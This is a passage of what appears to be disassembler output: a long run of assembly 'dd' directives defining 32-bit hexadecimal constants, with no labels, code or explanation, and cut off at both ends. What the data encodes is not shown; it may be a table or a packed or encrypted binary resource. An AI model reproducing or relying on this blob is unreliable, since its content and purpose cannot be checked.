83B2593Ch, 600C3D04h, 0C281E7D0h dd 0C0EE146Bh, 650B6Ch, 0E2011949h, 5B6CEFC6h, 20B90600h dd 3AD8A78Eh, 9C91F8A9h, 4974139Ch, 0D1003438h, 7A4BE73Bh dd 58E3D02Ch, 0B7642200h, 268DC44h, 0B4EE82E4h, 29C05C7Fh dd 0B600D44Dh, 0C6A36FC8h, 0FE84D3h, 8CF8B4F2h, 91B95DCEh dd 0FC7C3Bh, 0FA3DC4A2h, 0C55A80h, 89BBD88Dh, 975ED745h dd 0C883E00h, 0CF1E0393h, 6CF85Dh, 24193C54h, 9BD384FEh dd 0C6A48200h, 4FB8BDDAh, 7FA2004Dh, 0C1E605F6h, 0A30F682Ah dd 40D5F0B5h, 4E631E5Eh, 7137F79h, 89C0B1EBh, 19A2A05Fh dd 0B60022BDh, 7012B0B7h, 1C25D7CDh, 40A8D60Ch, 0E753B295h dd 0D90F078h, 0BA817300h, 60D3CE42h, 0C48E85Ah, 0D4466E9Ah dd 95003B10h, 0D979148Fh, 13FBDB7Fh, 12534Ch, 94EFE0DEh dd 10016EAEh, 9246799h, 49D4765Bh, 1E11008Fh, 88BCD39h dd 0E9E492ABh, 18DD4F07h, 0C0903E4Ch, 46513Ch, 3D1EB50Bh dd 70E2BA8Ah, 0E896BC30h, 0F8D01B76h, 5C110062h, 47423641h dd 330CDC4h, 0D7C89450h, 68971D0Eh, 0DBC28098h, 1C4D464Ah dd 75FBE00h, 0DF7BECF7h, 4FD80089h, 4558CEE3h, 27008DE5h dd 79EB83Bh, 3621A6h, 7F29C280h, 2F75884Dh, 0A700B9F8h dd 80A2531h, 1850FD8h, 3C1DCFAFh, 0E4C6A1F5h, 0D30030DBh dd 0F2842F8Ch, 0CF3316h, 89902C8Ah, 1C4962D5h, 0DA8C5600h dd 161D5017h, 47B00B2h, 740EE103h, 3E069EAAh, 7034B86Ah dd 0EC830010h, 6FBBF2B1h, 9A1FB0A0h, 0E700752Eh, 8133800Fh dd 5BC200F8h, 0FB6CEDEEh, 6100CAFDh, 9B38652h, 1DD3A98Eh dd 4070F6D4h, 711023B6h, 0E603162Eh, 7A10D17h, 0C974F881h dd 139F0161h, 2479B7A8h, 0C89D7011h, 7277D400h, 63DEB83Fh dd 4FF600F7h, 18E74D15h, 2E00586Eh, 74025069h, 0D6BFC5h dd 97EB5F4h, 893038B7h, 37971800h, 0DE53F6DAh, 0D510046h dd 0AC1EB85Eh, 0A700581Dh, 14A1A4E6h, 0C03B9E40h, 0B4296270h dd 110EEEB6h, 47FCBFF6h, 738033AAh, 1D13CB22h, 0ABE03Bh dd 0F8A11EDCh, 1C00B2DBh, 3F91AD42h, 30C318ACh, 1EA8140Eh dd 0B0072F3h, 0EC3EA6D0h, 398553h, 335078CFh, 6DA4B42Ah dd 642CC300h, 251BA730h, 8BE0EF7h, 0F2000321h, 556BBA17h dd 9A21200h, 0D2FBC093h, 4551037Ch, 0AA81CE66h, 14C9A6F0h dd 2CAEB900h, 4A7CD335h, 5FB800EFh, 6452A7FFh, 1D037501h dd 0D1C7AEDAh, 4824E832h, 0EAC60019h, 0DE968322h, 0B978ADB2h dd 41C3FB00h, 6933B49Eh, 8890C0h, 0D9C199FCh, 1672D818h dd 9FE3CA03h, 88F6F54Ah, 639AABh, 0D903B0EDh, 0BFAE2173h dd 1ACDE900h, 0F8E02981h, 0CEE860h, 57C1EE66h, 95DCF97Eh dd 0C700AE78h, 5E5DBF37h, 0E4D599C9h, 358C03E0h, 0B6335CDEh dd 5B582800h, 4D1ABC77h, 8A4A3E1Bh, 40688D04h, 867081A8h dd 5E0D397h, 0DD00A437h, 7D8DCF66h, 232624h, 3EAB0E93h dd 0CC3F3C70h, 2A117B01h, 85DF29BEh, 0B09A8730h, 1EE26Ah dd 0DD01F013h, 893BB6C8h, 0FC00667Ch, 1C7514E5h, 1A65B9h dd 43ADC431h, 8621B503h, 0F3000B7Eh, 675F5746h, 97D588h dd 0D80E89B4h, 939EAB76h, 0C6007771h, 484AA4BFh, 1785FE54h dd 7BCB249h, 0E0C90A50h, 0E299E733h, 0F6912C3Bh, 4FC01C00h dd 0A8F2678Fh, 6EBB0036h, 0AB1573A3h, 2F2C5922h, 2A00FE76h dd 84D2F97Ch, 57851D18h, 90018293h, 44421F6Ah, 0E621EC40h dd 73535500h, 0B1E0C650h, 37D403B6h, 0C72ADE90h, 3ECBBC88h dd 14EBB0Fh, 18AD8013h, 3DDEC5B7h, 1E00CD9Dh, 83E808DDh dd 0F004599h, 86981673h, 0E0EB8D1h, 0CB176FA9h, 0AFDA18E1h dd 5E52C463h, 0FE2BD812h, 708C5A10h, 0ED1E2501h, 0E15DE019h dd 0F180F8h, 0BEFF9C09h, 0B557057Dh, 0E07E871Dh, 5876DAC1h dd 0D8F89866h, 5C5100D4h, 0C1D23D05h, 0DDB84299h, 901B3B00h dd 0EB72E318h, 98F51E62h, 0D2F83088h, 1501C8B3h, 79B45F9Bh dd 0C5D020CEh, 2DA5006Ch, 0C88CB0B6h, 5448B2CFh, 1FE72C4h dd 58754600h, 0C4D60D6Ah, 0B26700A7h, 6091B3D7h, 0E5001B1Ah dd 0D13DD3C2h, 3CC3F364h, 0C580EDADh, 0B55695B2h, 1E056231h dd 9AF4445Bh, 33ABCD00h, 1CD85291h, 40FEC843h, 0D9DA3127h dd 95008C32h, 0CA8A095Ch, 0E840AFh, 4AE248B3h, 7507C396h dd 6E52B500h, 68D0CC39h, 0D49B0042h, 0E10228DCh, 0A74557Ah dd 0AC993807h, 5F0113h, 0A5A8EC9Ah, 4C6E0F03h, 5820CDE7h dd 922B9C41h, 650064FAh, 0B7BAD1D6h, 0C33A3Fh, 0B57730Ch dd 33D32661h, 3651BC00h, 7A9C6DF0h, 0CDB835h, 3C1272A1h dd 0F43EA5E4h, 0BFC46600h, 0B3FE3ACCh, 0B5BC0031h, 671114A0h dd 0D0E1C3EFh, 5C147843h, 80C4B7F9h, 0DD4B95A7h, 527C398Fh dd 2E00D8C9h, 0CE6024FEh, 1413BAAAh, 170C612Dh, 13A7EC41h dd 0BA2A0ABh, 1800EC83h, 0CBC73669h, 98A1FD1Dh, 0C640DE9Dh dd 5B4CB750h, 0FC0FE70h, 498EF0DFh, 9D200200h, 77EE6C0Fh dd 29D38A00h, 0E5E42B2Fh, 78130052h, 39CE65FDh, 0D74C8228h dd 0FE4D005Ch, 5046034Eh, 343B1FFCh, 0AB2C80B5h, 25DB7135h dd 0BDBBBE00h, 0C3F84DAEh, 73B20014h, 2D2F9255h, 90E29A8h dd 608BCEA2h, 1A7CA41h, 4CE84803h, 0A102B407h, 0CC78400Fh dd 70D4C99Eh, 47770CD4h, 1D880E8h, 0DF2E16A4h, 0D04019CCh dd 0DB312782h, 9AC22158h dd 89421C40h, 0B41D1DA1h, 251300A2h, 1F24DDC5h, 0BAC74300h dd 2A1E0B83h, 166D01F2h, 0C2062F05h, 3AE1C8BBh, 1402CF01h dd 91BD5508h, 0B5D0E4h, 0B6B35C9Fh, 0C4A5C76Bh, 1FDF413Fh dd 0BCC0C93Eh, 0D4019519h, 452A302Ch, 297C4291h, 11803841h dd 8C885FAEh, 0A1714E1Dh, 63B41205h, 5C0B95CCh, 623500F6h dd 3A89BEE0h, 0FE06D88Bh, 491C8855h, 1D257700h, 60F061DEh dd 0CA5900F3h, 913D765Fh, 7AF28594h, 15C3D303h, 0E01C8B16h dd 7BECF5FFh, 5A870078h, 19795F48h, 9791AC5h, 51CBCA00h dd 302F1C4Bh, 2725584Fh, 0DBEC3D00h, 499317C6h, 0C00CCC00h dd 55E30596h, 293A00B9h, 106A1583h, 0B800D43Dh, 7F38C7F8h dd 12638404h, 0F057EE82h, 0BD00E643h, 531822DCh, 26061DB9h dd 16477323h, 0D8885AA7h, 8C89043Dh, 0B470A0F0h, 96FBD7h dd 61DC04E2h, 0DEB71CBFh, 6864E0Fh, 0CE00FFC1h, 0BA779631h dd 836007DFh, 0CEB22C75h, 0CC9C05D2h, 4DE04E65h, 2B9E3C83h dd 89C45110h, 0D611BC81h, 8A2982CCh, 8063F253h, 0ADC16DBCh dd 794BE0E3h, 0C2B900B0h, 0AF4ACBA4h, 8331FAE2h, 0D515615Fh dd 0BC726043h, 7A184314h, 0E1191928h, 1F129B00h, 0D4B89DBh dd 70D352CAh, 7BD9F10h, 62BC54D8h, 5C06534Fh, 44E81488h dd 5F3E4E20h, 61C00B2h, 11C370C4h, 0A6E344C1h, 40718A0Ah dd 56634CE7h, 0D259E08Bh, 501F08C3h, 0E701C561h, 0E265D010h dd 0CBA9448h, 0DA68C29Bh, 43146CA8h, 1888BFB2h, 0F6F12677h dd 0B07429CCh, 7D0421F8h, 0FA027761h, 6CE51085h, 8CB80037h dd 8B6F0ABAh, 57F21415h, 585013BCh, 22FB1403h, 0AE2921C6h dd 90683308h, 98C9846Ch, 5C42A248h, 2118245Bh, 3611EF39h dd 6AA2110Fh, 0BF806817h, 24B7FFEh, 637200A0h, 87A3CDECh dd 3C7A7A4Dh, 0EB67CF00h, 0E48E73D1h, 39C00093h, 8CAB4953h dd 7200A726h, 0F9359154h, 0EF08EBh, 143D5D63h, 29E09A8Eh dd 0C6DCE807h, 12C0516Ch, 1D456AD4h, 79484Ah, 3B9347B4h dd 98008D9Ch, 58D51BBDh, 9A667Ch, 48922D5Eh, 0EEFEF3BEh dd 4F8C2000h, 7ADB8969h, 948E00EFh, 0F2F7A755h, 0A1073CA0h dd 0ECD384CBh, 57975B40h, 3250009Ah, 0C5AD395Eh, 0A91491E5h dd 0D04E29h, 674123A3h, 0EB96A18h, 0B19A124Ah, 4F63C71Dh dd 0FB8E803Ch, 8F009C4Dh, 11B3DE45h, 0BCA1D9Fh, 5B376830h dd 0A3F32600h, 0F80B79EAh, 12FEC9Dh, 9BAB3AB1h, 94B681F0h dd 468038FCh, 87A45401h, 0EB0099CBh, 3898214Ch, 7FB83CF0h dd 3CDF8EAh, 3D3FD884h, 0B1C0E6C9h, 0C790380Ah, 24837300h dd 591AAA10h, 30DAE416h, 78112C64h, 5E074093h, 0D8EF763Bh dd 0F85F2303h, 329B79h, 72AB0817h, 2D4CE488h, 2305DF00h dd 720DC45h, 315F2EBh, 0F58E0287h, 6D88575Dh, 95000E65h dd 0B7593371h, 0ACF4C62h, 0DFD396FCh, 3A6501F2h, 40605667h dd 2B1127DEh, 0B4702600h, 0B6282A6Ch, 0E01901FDh, 4BF279EEh dd 5F94F87Eh, 1FFAE15Ch, 31C335E3h, 0B0DB86C9h, 484BB353h dd 0A3079CEDh, 80D3E10Dh, 0E0234217h, 72DF10Fh, 9695E0AFh dd 4A7BABF9h, 1613AC6Dh, 7600F33Fh, 5923CCA9h, 0A0B10F54h dd 0C7458D36h, 0C1758060h, 3A1F73FDh, 47031481h, 0D0435118h dd 322C49Ah, 17348AB1h, 48A825CEh, 700BD924h, 15ABD7Eh dd 9AE9833Eh, 7527DAF4h, 88782Eh, 0EEC0ED8Eh, 3035C13Eh dd 0C85EA100h, 18B32221h, 4DA017C7h, 6628216Eh, 8022DDh dd 0BF5B1550h, 8C217Fh, 324BD898h, 0B6D94F81h, 3B0EEE05h dd 0D800E1AAh, 8EE74482h, 11E30060h, 23FDC467h, 0C100984Fh dd 0AB5A7CAFh, 2C2BF0h, 28AA350Ch, 0EF547870h, 88B89A12h dd 19C40A00h, 75AE8AE3h, 0A9FD0408h, 90C045ECh, 551092E8h dd 5B87A000h, 0EF13758Ah, 224AB9h, 6BDDBFBCh, 8002A26h dd 91F4DABCh, 24137B9Ch, 0A6F1CFh, 7339C553h, 9490F96Ch dd 0D6001990h, 74236DBBh, 88EADFh, 0CAB1F89Ah, 52775AEh dd 0C5B9200h, 5E8EE88Ah, 41693071h, 0F664CC30h, 0D80E221Fh dd 38F76680h, 3F19DAFh, 791B695Dh, 0E1B84DA9h, 5A036B81h dd 59FEA523h, 544100BEh, 75C7A880h, 2604DDCCh, 0DA13400Bh dd 3758C8h, 6BF5579h, 0E7090A8h, 0DB006179h, 0D4F609B5h dd 72A7DE50h, 33EA0145h, 6C8E19E5h, 0CEB080C3h, 404FCCE8h dd 12091DDDh, 5C4480A9h, 83B5D7CAh, 9E3E1D00h, 0B464D2F4h dd 0E3E40390h, 0E8C15E26h, 0A82DEF98h, 369FB900h, 75D2975Ah dd 0DF9C18EAh, 0B1E7C067h, 6A147F00h, 12A1E95Ch, 4077FDh dd 9F82F95Ah, 7D501117h, 0DC78343Bh, 6920008Fh, 0E137D9A9h dd 0FBB300C1h, 7792F436h, 380081ABh, 3328CD67h, 3E8F948Ah dd 46000C5Dh, 60A7D3EBh, 0DE5805D9h, 29D174Ch, 0E946680h dd 0C1E00066h, 6E418BBFh, 337F5443h, 64C55D03h, 0C06FD092h dd 0AE5505h, 0BCF398A9h, 81DD6006h, 744CB7E4h, 265113FBh dd 0DF7EFC02h, 3EB066A5h, 9A0020D4h, 3FCBA37Dh, 5B00C436h dd 6501B676h, 0C136A5Dh, 3B9D3AAFh, 6D005A40h, 973CDB52h dd 121D57A1h, 338AE06h, 7B6E420Ch, 17703190h, 0E3496B18h dd 3CAD05D1h, 0CC0E6A02h, 79A134D6h, 26C957F6h, 0E0007978h dd 9BC089CAh, 0B82D9Ah, 30DA6371h, 442C8FAh, 0D63F4503h dd 7C9DF80h, 0A8DC46D1h, 0A8224448h, 0D23200A5h, 0DDA32373h dd 3CD3FC17h, 0F8134EEh, 6549B374h, 9067F081h, 710EBFE0h dd 0AC290Eh, 9992C19Bh, 0B34600F0h, 3450843Bh, 0D500EC8Bh dd 3D121CE2h, 9057EF1Dh, 9A300691h, 11D6EDE7h, 80CA583Fh dd 6B0629D7h, 0DE0F97h, 0CD046130h, 0B32D110Bh, 0F6748900h dd 2FE739F4h, 5972B8h, 0B9543A70h, 155788ACh, 1180C00h dd 0BB4EC956h, 0DE390068h, 33968E7Ch, 0B4003CBFh, 7A22F373h dd 9EFF617h, 85AEF12Bh, 55490460h, 4D216802h, 400DB06Fh dd 1638ACC0h, 39D9117h, 16603EE4h, 0CD2731E8h, 0AA09B801h dd 0E4703559h, 3DF21360h, 3D2C7662h, 5F8A0019h, 0AB470702h dd 67B65501h, 0BC6B193Ch, 0E5907185h, 5008A057h, 0EDD39809h dd 0AA0812Dh, 7761C15Ah, 71E720h, 4F931B99h, 79E9586Dh dd 0EC18022Ch, 57613E00h, 166CE6h, 0E8D63BF8h, 0B8FDC75Ah dd 67003FF8h, 0C12BE7B7h, 460CDBh, 9F13721h, 0D1E21173h dd 0F79A3114h, 0B2EF1CBCh, 804BED49h, 60CA6514h, 31D31CF2h dd 0B38A805Bh, 9D28A3D2h, 0C2E892E4h, 12145E24h, 0E856BE00h dd 4A93CDh, 0E01B6566h, 6D33B958h, 5707DB00h, 71B0AD8Bh dd 0B5010125h, 0D1F5CEB2h, 7A956075h, 5C919F00h, 0A40E1893h dd 0FCD60124h, 0FE29FD76h, 0A8543007h, 0EB4D0F03h, 0E08D6649h dd 22014A6h, 6C50FBDBh, 0ECC0D470h, 550003C1h, 9AE62494h dd 0E3FE264h, 1A362F8Fh, 5880C3ABh, 0F1225BB6h, 0EC00A6FAh dd 0CB771052h, 3C8F733Dh, 3080BF6Ah, 1D8E0B05h, 4538D311h dd 9C64D008h, 7B0089B0h, 0A6B3F73Fh, 96816Eh, 0D6396CC9h dd 0E1F3A31Eh, 0FC976500h, 6E05ACECh, 8CE70258h, 0E451D528h dd 0A2B180C0h, 0DE4F030Ch, 0B85710EDh, 7CDC0098h, 92E08CA3h dd 0BC0076F6h, 93B90711h, 2CC22F70h, 93BCBB47h, 5540336Eh dd 810485ACh, 0F4824A70h, 8E0013F6h, 0AFCF6C4Ch, 3C902Bh dd 0A414C3A1h, 0E45CCD65h, 0B67470EFh, 18F35F0Ch, 84D959F2h dd 63827F16h, 0AD734041h, 0AAF1BAACh, 0EAB480DEh, 7CC40FCh dd 5DD3B486h, 0E839105Eh dd 0FA003E12h, 4325747Eh, 7CF7ECh, 5BC916E9h, 0DD504453h dd 4F0F94B8h, 6B37CD29h, 0DB9E034Dh, 0B7A3B83Fh, 64390057h dd 597C569Ah, 250C6BBAh, 0A044CB91h, 850384CEh, 52AF41Fh dd 5EE2804Bh, 0C11132Dh, 9A00BEB0h, 9579EDA6h, 15E8C7F4h dd 80DDCF66h, 4FAF676h, 0DD0059E2h, 6D919457h, 0AA50BEh dd 0F39E8632h, 0D773853Fh, 3003D7Dh, 9B9694Bh, 0E055BBh dd 0A9CD526Ah, 0D0832B30h, 0AED28B00h, 0F0E996C8h, 240B0556h dd 0FC7FE13h, 9F3DE2A2h, 0AA36C16Ch, 400342A7h, 0C389EBA0h dd 64B12B03h, 0C837A356h, 997FA5h, 1CA77B8Fh, 0F312F724h dd 0CDFBC40Eh, 3F396025h, 7592E3Ah, 90FD1592h, 2948CCA5h dd 1CB87A76h, 0B3C4803h, 0E827536Bh, 0DAB332h, 0E3DC5B84h dd 83422681h, 0CAF3A200h, 3BA0396Dh, 2E4FFBFh, 38EA004Dh dd 68FD0995h, 6C00741Dh, 45885AADh, 556B41h, 0F1E9474Ch dd 0C9032724h, 0E521C700h, 0DFBEFEF5h, 308983Ah, 6D4E4257h dd 0B6005E19h, 342DECF6h, 0E8B1B2h, 0AE81E267h, 0F8E6F498h dd 1F5EDEF3h, 5FFA5B00h, 3C7E5Ch, 0C524DDBh, 0A9CB7228h dd 1EF68B0Fh, 0B131E0FDh, 76B6516h, 0DF9A624Bh, 25BE30FBh dd 9301EB2Dh, 49EBBF8h, 0C080F2BCh, 0CB7C5EE9h, 52003BBFh dd 2657926Eh, 123ECA3Dh, 811440h, 28EDC5B3h, 0FB0CA5CFh dd 904774E2h, 0B2C0611h, 608CB684h, 0C0592003h, 8802CF82h dd 62FE90h, 49856C38h, 0A88343B8h, 0BBE328C0h, 0E105F537h dd 115261CEh, 0BD34E0h, 5C5A120Bh, 9BDC3D8Fh, 4CF2D51Fh dd 8857C4C0h, 38154E6h, 2EC1CB21h, 0B5C005E1h, 7000A450h dd 7BFF76ACh, 0D66315h, 0DB166D71h, 17F05C2Eh, 2700477Dh dd 6C46D13Ch, 0B03294D7h, 0C070BEh, 59DDEF53h, 204970FAh dd 0B99CF300h, 3C841AA5h, 521F00F5h, 0FBD6539Ah, 69038DADh dd 605A5C05h, 0D8EFFB5Eh, 0B2E75C3h, 847ADD96h, 712F7C01h dd 13F040B0h, 6700BEA4h, 8A92B578h, 19D16Ch, 752D93BBh dd 30257EE1h, 648D1200h, 0D8B77790h, 9A8C0020h, 606A130Ch dd 4000EB7Ch, 9FD43748h, 28B6DDh, 0E1AD04B4h, 68B1AC9Eh dd 931C2D2Eh, 0BAF8630h, 63E2DEh, 678BA390h, 95553CD5h dd 2ECAFB00h, 0FABE8F19h, 0F371009Ah, 1CE8D104h, 84500378h dd 0D9008B90h, 421F0E66h, 2E5991h, 0C6F811B4h, 0E162BC10h dd 1EC86700h, 0D2F454A6h, 40CB00E5h, 6E603F25h, 0E977BA9Dh dd 8D4AE100h, 22CD55B7h, 332D018Ah, 4596DF5Eh, 75EFEC86h dd 0C900057Dh, 0F87823F5h, 0E0686Dh, 0E8B87BC5h, 4E62C393h dd 0C43BB778h, 48BB0099h, 0A109963Fh, 6EF70015h, 42DBD185h dd 4E145289h, 0A4D3C0h, 3D10FDE5h, 964E365h, 9D295CD4h dd 61523C00h, 0E80F6217h, 0ACE5FCC8h, 7718A6h, 37CEDCC1h dd 0CB5F3045h, 66FC1E14h, 2A180599h, 0C0004668h, 0BD3A2D56h dd 0B6E607CAh, 0C4596A10h, 6F848033h, 84001951h, 94031D5Ah dd 54B3B97h, 0D13255DFh, 247BC77Eh, 549C80C3h, 7F48B0ABh dd 178E1F8Fh, 663BD380h, 8A82E7h, 74C4F82Ah, 0F0BF9DAFh dd 1F599814h, 88E039D4h, 182D750h, 9E2C55Fh, 658DFCD3h dd 4011C9Ah, 0C078D789h, 908343F9h, 0B6B03068h, 181CEFC0h dd 0A9942207h, 0C161727Fh, 83CC1BC4h, 0F1611471h, 7A04D489h dd 42BAC3h, 0D192406Dh, 0E1C60001h, 0C70535B9h, 23C3015h dd 4B71124Eh, 0AD5CA030h, 6390093h, 0BC136524h, 3004352h dd 0A1E17E79h, 0E93BDCh, 99E36C7Ah, 9250AB59h, 4296A400h dd 11462AB1h, 84E92FDAh, 1C4C5AE0h, 1B93Ch, 0D9EE5B77h dd 2D3FE3h, 5A709F0Ah, 0B5A59BA0h, 80DD523Dh, 0B904F714h dd 6FFF54h, 937F3459h, 82B77BC9h, 0D1B2B600h, 3BCED2D5h dd 4AB41F29h, 0FE3D400Eh, 7EB338A0h, 20DC2300h, 0F570BA45h dd 494B006Fh, 0E230B24Eh, 3100809Ah, 0CE190952h, 1D81DB47h dd 1C9010h, 55FA6169h, 271248F2h, 7D00DCBBh, 221189F0h dd 2D7D126Fh, 46580373h, 2CE89025h, 7B80D2E6h, 48B60F6Bh dd 5620EF68h, 0DA5D6F09h, 0DEDC8603h, 0F87B055Ah, 30E827D1h dd 20CC44F4h, 1004F09h, 80B48AAEh, 5EC245h, 0A96732F8h dd 0C7CF8851h, 5A18050Ch, 260C786Ch, 80808106h, 0E1A62F98h dd 0B202E499h, 0B83FFC5Eh, 0A108EAEh, 0DD001C07h, 0CF9CA03Ch dd 0B8A10D74h, 0E1183522h, 8610BE94h, 0C1DE9BC0h, 1B5B1820h dd 59EFE96Ah, 150C56Fh, 2887B2Ch, 9F67AAE0h, 0F7030CD8h dd 7D622A76h, 0A332A347h, 0EF08074Fh, 0C042456Fh, 0F730DB97h dd 0C1937718h, 14CF8E70h, 501F05CEh, 70B80937h, 2EC9886Bh dd 0D50A7474h, 686A972Ch, 5A44D038h, 0C285B62h, 32646091h dd 0A2043A39h, 82627E00h, 0D4CC3518h, 4C111901h, 817B65B9h dd 0FD777F4h, 958DE35Ah, 0AC60E48Fh, 0F1239C87h, 0B8548200h dd 3C743F5h, 0A73205A1h, 0EE9205B7h, 0BF813EC0h, 28FE84h dd 662558ADh, 59805260h, 0FC1C4BFEh, 0B200E371h, 6258CB63h dd 0A7E83Eh, 73CF38FAh, 0FC5B4860h, 1B581760h, 0FAE2202h dd 1072114Fh, 0E8248E60h, 527803E1h, 933F6900h, 702F2996h dd 0A5DC01E6h, 3920F838h, 0C5D447C9h, 32D04074h, 581EB613h dd 2A70400h, 94E0F8F5h, 838B0265h, 0C65D5C46h, 0EF19CA0h dd 2C06CAB5h, 44818C9Bh, 21F56009h, 27B5B691h, 0AD402E03h dd 8830ECh, 70AE3948h, 0A6B7BF85h, 2FA3BD0Ch, 7068162h dd 7744B6F1h, 9BDB131Ah, 505CCBE1h, 267546ECh, 0BB350400h dd 6268ADFDh, 226490D7h, 0A5027FD8h, 0F72549D6h, 832C43D5h dd 89083085h, 498FCB21h, 571C300h, 0CC3D18D3h, 0EB781D48h dd 11C5002Eh, 8B667E44h, 0F93632F0h, 2218F83Fh, 0F8037034h dd 760B6ED7h, 913FC11Eh, 6162FCh, 0FDBFB6F4h, 60047FC5h dd 8633E700h, 78C65A22h, 256B009Ch, 0F891244Ch, 26008F01h dd 2192E0BFh, 37A705Fh, 0BD527BA4h, 7D86B8Ah, 5B053646h dd 803E09A0h, 0C8AAAAC0h, 20B0086h, 2F7008BCh, 0D700346Bh dd 6EB35B6Ah, 0EFA25F5h, 6D500DF0h, 1128D106h, 0F0043352h dd 0C02A7DC9h, 0E750B410h, 8EFC4D47h, 0F6CA31Ch, 991092C0h dd 1D82F264h, 45BC90BDh, 8028FDEAh, 0ADC7091Ah, 21AFDB00h dd 42A2C5F8h, 8C1F0175h, 5A9F1BBFh, 0CCE5ECA4h, 68DC3Eh dd 0ABE97AD3h, 7D1E5878h, 0E76C3EE3h, 3304A700h, 0F75D2D5Fh dd 652AEB02h, 4087E06Bh, 6D74C6h, 98B09135h, 0CF3385EDh dd 5CEC9BA0h, 0DDF2E5F0h, 695A8300h, 9FC99A35h, 6A1A3EC8h dd 569C8880h, 2BDC78ADh, 0D7CCA400h, 7308EA9Dh, 0DEAC05EDh dd 0C09C3453h, 0D05DBDD4h, 0F23AD900h, 8F73DDB8h, 0F15B0397h dd 9372F0E5h, 1AE903Ch, 9E82A984h, 4920C02Eh, 603D1F98h dd 965B002Fh, 63060F22h, 3809BB02h, 0E04402C6h, 0FC088A15h dd 0A0640074h, 418DA615h, 0B0084B5h, 5418DA16h, 53DF7Eh dd 11975140h, 0CF25935Ch, 0D84A7D2Ah, 0F7F17C61h, 24310585h dd 2ABD308Eh, 63737B60h, 6E604B82h, 0A2DD4CA8h, 0A43B54BFh dd 27F10069h, 7F0D5795h, 670F976Ch, 0A0F4CB8Ah, 0EFAC7624h dd 22B9187Bh, 0BFE5309Fh, 0A5469906h, 8132E8h, 0A075C67h dd 0C10478B5h, 5BADDA00h, 0F6136EBDh, 80B90041h, 837200Fh dd 0CB00DD82h, 58843C23h, 185D69Dh, 0A9951BB7h, 60085C36h dd 910010F3h, 822D6764h, 0E2C60Fh, 14A6AC34h, 0C3AED6FDh dd 9A00AFE8h, 1F7DCC55h dd 484DB3h, 0CE683D9Eh, 0DFD89725h, 4E3C50F6h, 0CAD963Ah dd 0A19CD102h, 9470400Eh, 0EDD0F463h, 1AB0D4h, 547E5849h dd 316CE91Dh, 0E0D75B00h, 4A5EC7E3h, 3F9E0063h, 585671C6h dd 6C0086A1h, 0FA29251Dh, 584D7EC8h, 0DA0AFDCDh, 949B73h dd 1F6549C4h, 50033DB2h, 0D0F91E9Dh, 5233D899h, 0A0B600E2h dd 0A95939EEh, 0DF00EDE1h, 0A806F98Fh, 1E45ACC4h, 80DA2D21h dd 13F5D5Ah, 8628F476h, 2BF8C84Fh, 8BFEFA00h, 18B4CCF6h dd 0DCE2487Ch, 0B7F89900h, 818E1DCEh, 50004491h, 0FA6D04A5h dd 447503C4h, 6A8CEB18h, 0EA0BA805h, 0A020AA52h, 1322C7CDh dd 42E8BDh, 330A7F98h, 0EB012C47h, 8DC9DE6Ch, 0B1F44E6Eh dd 1F92A0F4h, 321B0037h, 0CD1E3387h, 8D18727Ah, 2160623Eh dd 739400A0h, 1F43ACB9h, 0F0081F6h, 980A09DFh, 625B37h dd 91FB848Ah, 1ACA993Ch, 0D0F4A500h, 0CC2F6CEEh, 73B61811h dd 82C910C2h, 656D8C00h, 0CDF10912h, 56322651h, 0C8600027h dd 8DAB347Bh, 3C8CBF50h, 0F0C020h, 744EBD4Dh, 980E7B26h dd 3A229F01h, 0AFFE5F8Ch, 797CF7h, 8EBE3CE8h, 0C53FFA14h dd 0D0700A00h, 1861ADF9h, 570900DEh, 0ABCBA619h, 0CA01BAEFh dd 56947F70h, 903447B8h, 0EDB20030h, 0E812F5B6h, 2C1EC90Eh dd 2140F6F1h, 6EE71676h, 9C1400EFh, 0DA1702AFh, 0C900F9BDh dd 0E20962DFh, 6DC2A93h, 39ECF83Dh, 0C003006h, 791CAB63h dd 1CC3A832h, 0F0F57526h, 4E612D28h, 81B84A2Eh, 0AA9F1400h dd 996ED07h, 0B69476AFh, 2B3FE080h, 2C00672Eh, 8234E5D2h dd 8B5358h, 36D3DA1Eh, 0E0E41603h, 2C2C6B50h, 4F6DAF07h dd 12080B5h, 276625Ah, 6E92C405h, 18C8BAA3h, 0EC009506h dd 89D101A1h, 0D84C2Bh, 0FBA913A6h, 106EA37Eh, 3A37DA01h dd 634DAD66h, 0F7587E20h, 0DD9CDCh, 3DC94B70h, 681322B5h dd 8E710703h, 0A82B9B23h, 1D51C5B3h, 801EF574h, 65D718FCh dd 241F280Ah, 4880A5DEh, 4F4B9858h, 0E03B000Dh, 0F2E63FD2h dd 6C0011F9h, 0D5C2F527h, 0C6BD12h, 0C890DCA4h, 0F35A5F4h dd 0DF26087Fh, 9F9E6467h, 334B7540h, 691BD2h, 3F7C07E0h dd 0E26A1429h, 0D339FA0Ch, 1D5186Ch, 169C1C5Bh, 0F0DF6560h dd 1AE436C9h, 0B5EBA200h, 3AFB9296h, 0E42701D4h, 1D356407h dd 0C5D14054h, 7C072EE9h, 0EFAA1A22h, 0D7A2F340h, 8789DE41h dd 1142660Fh, 408D45F1h, 5163A998h, 1C0F8574h, 0E060586Eh dd 0A15B754Bh, 386B006Fh, 56052303h, 9C0064BEh, 36B73EADh dd 7D11D739h, 6EE60059h, 23FA1F77h, 0D203867Bh, 2AF2D9CEh dd 0A845E3D3h, 0E5DE5Fh, 2B543FA0h, 6E141C7Fh, 0FDC18000h dd 0B92ECB46h, 3AEFC3Dh, 4FB5D2ACh, 27D81EECh, 7000F33Bh dd 10CFF687h, 0EFEDD4EAh, 7C9FC0h, 28069423h, 0DB09A0Fh dd 1760C94Ch, 5500928Ch, 576EB15Fh, 86E4ABh, 1DC2A154h dd 49FE4BA8h, 64584892h, 27485468h, 0BE6F7103h, 0E841C9A3h dd 2C992F20h, 0B988544h, 1C916D70h, 2494CC8Bh, 0BFE35100h dd 1761DA7Bh, 0B23F073Ch, 8028ACF4h, 40DC1262h, 0E01CF979h dd 9480E57Dh, 2BB56472h, 0BF1B006Ch, 48D0F5B2h, 3000A823h dd 462799C3h, 3D9D31h, 8320A3F2h, 0FCE68406h, 8094853Eh dd 2681D3A6h, 7E2B548h, 9A5566C0h, 0B3BCA0FAh, 0C34D67CAh dd 0CF0F004Ch, 0C09F36AAh, 5B9004Bh, 9B37C83Fh, 0BD0147A4h dd 44D9287Ch, 1D60BAE9h, 0C1700995h, 5182EAACh, 74C04E2Ch dd 2000FEAFh, 44AAD7EDh, 0C0CE27BAh, 1BC94361h, 0F401CDACh dd 0B4615D71h, 1050ED81h, 40AC1A9Bh, 8C2AE9Dh, 0C062E775h dd 0C0B5BA28h, 3E66E10h, 